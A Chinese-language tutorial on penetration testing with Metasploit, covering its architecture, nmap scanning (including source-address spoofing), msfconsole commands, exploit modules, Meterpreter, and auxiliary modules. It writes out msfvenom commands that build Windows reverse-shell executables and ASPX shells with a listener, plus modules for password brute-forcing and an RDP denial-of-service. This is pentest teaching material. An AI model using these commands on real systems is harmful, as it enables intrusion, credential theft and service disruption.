Metasploit目前最流行、最强大,最具扩展性的渗透测试平台软件,基于Metasploit进行渗透测试 和漏洞分析的流程和方法
Metasploit简介
2003年由HD More发布第一版,2007年用ruby语言重写
–框架聚成了渗透测试标准(PETS)思想
–一定程度上统一渗透测试和漏洞研究的工作环境
–新的攻击代码可以比较容易的加入框架
2014年没有出过关于Metasploit的教材,最近的一本——《Metasploit渗透测试指南》
四个版本
模块
MSF架构
Rex
——基础功能库,用于完成日常基本任务,无需人工动手编码实现
——处理sokcet连接访问,协议应答(http/SSL/SMB等)
——编码转换(xor,base64等)
Core
——提供Msf的核心基本API,是框架的核心能力实现库
Base
——提供友好的API接口,便于模块调用的库
Plugin
——连接和调用外部扩展功能和系统
启动Metasploit`
查看Metasploit数据库db的状态(初始化数据库,删除数据库)
msf db主目录
cd /usr/share/metasploit-framework/模块
cd modules`
Exploits
——Exploits:利用系统漏洞进行攻击的动作,此模块对应每一个具体漏洞的攻击方法(主动,被动)。
——Payload:成功exploit之后,真正在目标系统执行的代码或指令
1、Shellcode或者系统命令
2、三种Payload:/usr/share/metasploit-framework/modules/payloads/
3、Single:all-in-one
4、Stager:目标计算机内存有限时,先传输一个较小的payload用于建立连接
Auxiliary
——Auxiliary:执行信息收集,枚举,指纹探测、扫描等功能的辅助模块。
——Encoders:对payload进行加密,躲避AV检查的模块
——Nops:提高payload稳定性及维持大小
渗透测试步骤
1、nmap主机发现扫描
2、service postgresql start
3、msfconsole -q启动
4、search 相关模块
5、use exploit
6、set payload
7、exploit -j
8、meterpreter 使用
nmap扫描
不加参数==sT
某个ip
nmap 192.168.1.2
某段ip
nmap 192.168.1.1-100
某个子网
nmap 192.168.1.1/24
文本中的ip
nmap -iL target.txt
参数
-sn (速度很快)[ping探测扫描主机, 不进行端口扫描]
nmap -sn 192.168.1.1/24
-sA (发送tcp的ack包进行探测,可以探测主机是否存活)
-sS 半开放扫描(非3次握手的tcp扫描)
sT:3次握手方式tcp的扫描,慢
sU:udp端口的扫描
sF:也是tcp的扫描一种,发送一个FIN标志的数据包
sV:版本检测(sV)
-A参数,综合扫描。比较慢,不推荐
-e:指定网络接口,扫描时使用哪个网卡
nmap -e eth0 192.168.1.1/24
-S:可以伪装源地址进行扫描。这样好处在于不会被对方发现自己的真实IP
nmap -e eth0 192.168.1.53 -S 10.0.1.167 -Pn
msfconsole
命令
查看帮助msfconsole -h
启动Metasploit(msfconsole模式下)msfconsole -q
q安静的的启动,不显示banner
查看版本msfconsole -v
启动数据库service postgresql start
查看是否连接数据库service postgresql status
db_status
更新metasploitmsfupdate
show命令
show exploits
show encoders
search命令
search ms17
search mysql
check(exploit模式)
验证是否存在漏洞
back
回到msf
Exploit
Active exploit
——use exploit/windows/smb/psexec
——set RHOST 192.168.1.100
——set Payoad windows/shell/reverse_tcp
——set LHOST 192.168.1.10
Passive Exploits
——use exploit/windows/browser/ani_loadimage_chunksize
——set URIPATH/
——set Payoad windows/shell/reverse_tcp
——set LHOST 192.168.1.10
Meterpreter
高级、动态、可扩展的payload
——基于meterpreter上下文利用更多漏洞发起 攻击
——后渗透测试阶段一站式操作界面
完全基于内存的DLL注入式payload(不写硬盘)
——注入合法系统进程并建立stager(传输器)
——基于stager上传和预加载dll进行扩展模块注入(客户端API)
——基于stager建立的socket链接建立加密的TLS/1.0通信隧道
——利用TLS隧道进一步加载后续扩展模块(避免网络取证)
——服务端(攻击者端)使用C语言编写
——客户端(受害者端)提供基于ruby的全特性API(支持任何语言,只是其他语言不一定是全功能)
反弹shell
生成win下的exe
msfvenom -a x86 –platform win -p windows/meterpreter/reverse_tcp LHOST=192.168.1.109 LPORT=5566 -f exe x> /home/niexinming/back.exe
生成win下的aspx
msfvenom -a x86 –platform win -p windows/meterpreter/reverse_tcp LHOST= 192.168.1.109 LPORT=7788 -f aspx x> /home/niexinming/back.aspx
本地监听,反弹后的控制端:
use exploit/multi/handler
本地监听的确定用哪个payload:
set payload windows/meterpreter/reverse_tcp
设置本地监听的端口:
set lport 7788
设置本地的监听的地址:
set lhost 0.0.0.0
运行:
run
访问生成的反弹马:
http://xxx.xxx.xx.xxx:/back.aspx
弱点扫描
VNC密码破解
use auxiliary/scanner/vnc/vnc_login
use auxiliary/scanner/vnc/vnc_none_auth
windows:远程桌面服务
use auxiliary/scanner/rdp/ms12_020_check
use auxiliary/dos/windows/rdp/ms12_020_maxchannelids (导致拒绝服务)
设置ssh
use auxiliary/scanner/ssh/fortinet_backdoor
use auxiliary/scanner/ssh/juniper_backdoor
VMare EXI密码爆破
use auxiliary/scanner/vmware/vmauthd_login
use auxiliary/scanner/vmware/vmware_enum_vms
Web API远程开启虚拟机
use auxiliary/admin/vmware/poweron_vm
查看证书是否过期
use auxiliary/scanner/http/cert
tomcat管理页面
use auxiliary/scanner/http/tomcat_mgr_login
wordpress密码爆破
use auxiliary/scanner/http/wordpress_login_enum
WMAP web扫描器
load wmap
wmap_sites -h
openvas
load openvas